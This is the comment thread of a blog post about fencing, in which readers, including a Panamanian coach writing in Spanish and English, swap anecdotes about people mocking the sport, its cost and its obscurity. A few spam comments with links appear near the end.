Molesta eso cuando lo hacen de burla, por eso los golpeo, porque creen que no hay gran actividad en el deporte; y no tienen idea del excelente deporte que es la Esgrima. Algunos no me miran bien cuando reciben el golpe (mas fea la burla, mas duro el golpe) y no lo hacen mas; pero otros si se toman el tiempo de escuchar como es el deporte y eso me muestra respeto por mi y por lo que enseño.
Haces bien en escribir, y escribes bien. Te felicito, de parte de las personas de Panama que practicamos este noble deporte.
Carlos Hernandez
Hello, I agree with you, it’s upset when they want to make fun of the sport, but I think we should be tolerant when you see that situation.
I’m Foil coach here in Panama, and I am Epee fencer. I have a colleague at work who does the same squiggly arm move, I ever ask to him, “Are you sure?” and then give him a pounch in the arm with a line. So then they have questions about the sport, and I answer it, at last maybe, I will capture any possible athlete and make a good conversation.
It’s disturbing when someone make joke, that’s why I hit them, because they believe there is no activity in the sport, and have no idea how excellent sport is fencing. Some people do not look good when get the pounch (most ugly mockery, more hardest hit), this people don’t make jokes again, but others, take the time to listen to know about fencing and show respect for me and what I teach.
You do well to write and you write well. Congratulations, on behalf of the fencers of Panama.
Carlos Hernandez
prova
A joy to find your blog and to know you are dedicated to spreading the word about our sport.
I’ll add another dumb thing you shouldn’t do when in the presence of a fencer – wave your dinner knife around while you make conversation. I admit I actually love it and slyly take my knife and make believe I am parrying them. Eventually, they realize that waiving a knife around as you talk isn’t a good idea!
Keep it up!
p.s. one word about the expense of the sport – yes it’s higher than buying shin guards and knee sox.
Look at it this way. It’s a physical chess game and a martial art that teaches skills you use your whole life. It’s one of the few sports left that does not permit acting out or distasteful behavior.
Self defense for women – you bet! I’ve used the skills I have several times.
Amusing and true. we get less of the squiggly arm move, but always the “chain-link or picket” gag. After 25 years of it I just want to run them through with a rapier and say “no, sharps! Get the point! Ha ha!”
…and relax.
Going to cross-post on our club site swayfencing.co.uk.
Thanks Ben.
Here in Italy, despite the number of medals and medalists, fencing is still an obscure sport… the saddest thing is when i say “yeah, I fence” and people reply “Really? Why?”
No comment
It is too bad that many “classic” sports (I’m going to use that instead of old) are dying out or left for a select few. Fencing would be fun I think, except I live in a small town where fencing means fixing a fence so the cows don’t get out! I guess I’ll have to settle for waving a stick around, hopefully not in a fencer’s face.
Great post. I shared on Facebook. Made me smile~ thank you.
(sister of a doctor who fenced in college; friend to at least two writers who fenced as well. Only wish I learned.)
Do you only fence, or have you done some fight choreography stuff too?
ha! great post.
Ha. Funny. I respect this sport. Is interesting.
Clearly Being Poked is not the problem, however the cost of which one will receive should make someone think twice. But to pay to get poked with a 200 dollar foreign object that can not easily be returned to Walmart does not seem fun. But I’ll watch, I Swear I Will…
Ben – thanks for the post. My son (9) and I do the squiggly arm move with each other (I have fenced for over 30 years and he did for a brief summer) all the time. Perhaps it is people’s attempt to recall a younger more innocent time? Or they could just be a–holes. Eitherway I enjoyed your comments on those on the outside looking in. Fencing is one of the greatest and most under-appreciated sports out there. I’m in Queens also. – Best – Joe
Great article, Ben! Here’s how to make fencing cool and popular: make a movie out of it.
Something happens when Hollywood gets a hold of a sport/theme/story that many people might not know about or might think is mundane or uninteresting. Heck, so far movies have made me want to be a ninja, navy seal, dirty dancer, guitar player, chef, US marshal and Spider-man.
They can make a high school band look cool (drumline) or even competitive cheerleading (bring it on). I am NOT dissing on these skills or saying that they are boring, I’m just sayin’ that movies have a way of making anything look cool that otherwise might not seem cool on first glance to the masses.
Ben, thank you for this hilarious and witty diatribe against the madness of society! To be honest I’ve never actually had a sword fight but I believe some of the petty garbage we as humans call important can be solved with a good-old-fashion duel. Kinda reminds me of The Princess Bride ha!
Great post! While I am not a fencer I have had similar experiences having taken Karate for 10 years. I had started at the age of 10, and made the huge mistake of telling kids at school about it. This resulted in kids doing one of the following:
1) The Crane Kick or “Wax on, wax off” from The Karate Kid movies
2) Wavy hands and high pitched “WOOO-AAAAH!” Bruce Lee noises.
3) Challenges to a “duel”/”Round one! Fight!”
4) “Dude, show me some moves!”
All of that continued right up through high school.
It does not surprise me that this happens to fencers, even adult ones. I think there are two kinds of people who do the whole “squiggly arm/ crane kick” thing:
1) Well meaning, but ignorant people who are just trying to stimulate further conversation.
2) Ignorant jackasses who think they can do something they saw on TV or film.
I have an old friend who fences. I never did the “squiggly arm” thing, and he never did any “crane kick”. We just had fun and interesting conversations about each others choice of sport. I’ll be sharing this article with him.
I guess it all boils down to knowledge vs. ignorance. Those of us in the know are simply left to roll our eyes at the Suigglies and Crane Kickers while also resisting the urge to mush them in the face for being condescending jackasses.
Believe me, I’ve wanted to leg sweep/takedown many a Crane Kicker in my day, so I feel your pain.
very entertaining! i feel the need to learn fencing and the squiggly arm move. thanks for sharing!
I think fencing is really cool – when I was in college, the gym across my dorm had fencing lessons, but I was never brave enough to try, and at just over 5 feet, I figured they wouldn’t have any equipment in my size!
Ben, I’m a person who was on the Temple U. Fencing Team in the 1950′s. I was only sorta good at it, but I totally enjoyed the sport and found it very challenging and rewarding. Yes, I did win matches!
It’s been decades since I really fenced with anyone (maybe the last time was in 1962), but I have delighted a lot of children and grandchildren by challenging them with my fake foil. They just giggle and turn into mush (a different kind of mush). They cannot figure out how to get around that pointy finger that aims to poke them in the tickley places.
People are not necessarily mocking you or insulting you when they do that. They are playing. And they wish they could really fence, betcha.
Have you noticed anyone faking a karate or kung fu gesture at a bar? It’s just kinetics!. Relax, even if you are from Queens.
It does make a fun-to-read post, however. Keep up your blogging…I like it.
What other sport requires such precision and skill with such a dangerous weapon? Exactly…nothing (except maybe Russian Roulette? I dunno…)
Awesome post!
P.S. 3 words: Fencers are hot.
thanks! now i know what to do when i meet a fencer.
People who are in competitive sports seem to always be ready to contend…maybe that’s why they get uppity when people make remarks. I have a cat who is like that…he gets hissy and strikes out when he is surprised by an unexpected move. It’s the fight or flight thing.
so nice, i love competitive sports ^^ Thank because ur good post
keep on writing, its a nice job
Great post! I had that happen to me countless times, even when I lived in a country a little more enlightened about the mysteries of fencing (Hungary). Here in the States, every time I mentioned that I used to fence and coach fencers, I get the Squiggly Arm, usually combined by the Challenge, and sometimes not even the jumping around; but a gentle sway of the knees back and forth. I usually just laugh it off – then stab them between the ribs with a lunge when they’re off guard. Oh, the joy of being a foilist
I’ll definitely start following your blog!
@Darryl – good to see you here.
Squiggly Arms – the most popular dance at macarthur high school in San Antonio, Texas.
Yo spin me right round…
I usually hear “Fencing? I’ve always wanted to try that.”
So why don’t they?
This is kind of an ignorant question, especially given the subject matter.
a) Fencing is not well-known in many parts of the world
b) Fencing is not available as a sport in even more parts of the world
c) Fencing is not financially accessible to a huge number of people.
So that’s why. In my case, all three apply.
Fencing really can be enjoyed without much expense if you have someone else to fence with/against. Once the gear is gotten (look for foils, masks and jackets online…I am sure there are people who have tried it and quit), and see if there is a club or group somewhere who can direct you to others who have an interest. You don’t really need to invest in extra special clothing, or a gym, or tickets, or memberships — just find a space to practice in, and a willing coach and you will probably find it not that expensive, and a lot of fun.
If you live in the outlying part of the country, I can see how you might have a problem finding a fencing partner, however. Around here (Olympic Peninsula) you say fencing, and they think you are talking about wire stuff to keep the deer out.
goood page….{{{{{{{{{{{{{{
http://www.omnibazar.com/
Hockey wants to go extinct?! What? Never!
Nice post!
Can we use couple paragraphes for our site http://yeahiloveit.com ?
Undeniably believe that that you stated. Your favorite justification appeared to be at the net the easiest thing to understand of. I say to you, I certainly get irked even as other people consider issues that they plainly do not realize about. You managed to hit the nail upon the top as smartly as defined out the whole thing without having side effect , other people could take a signal. Will likely be back to get more. Thanks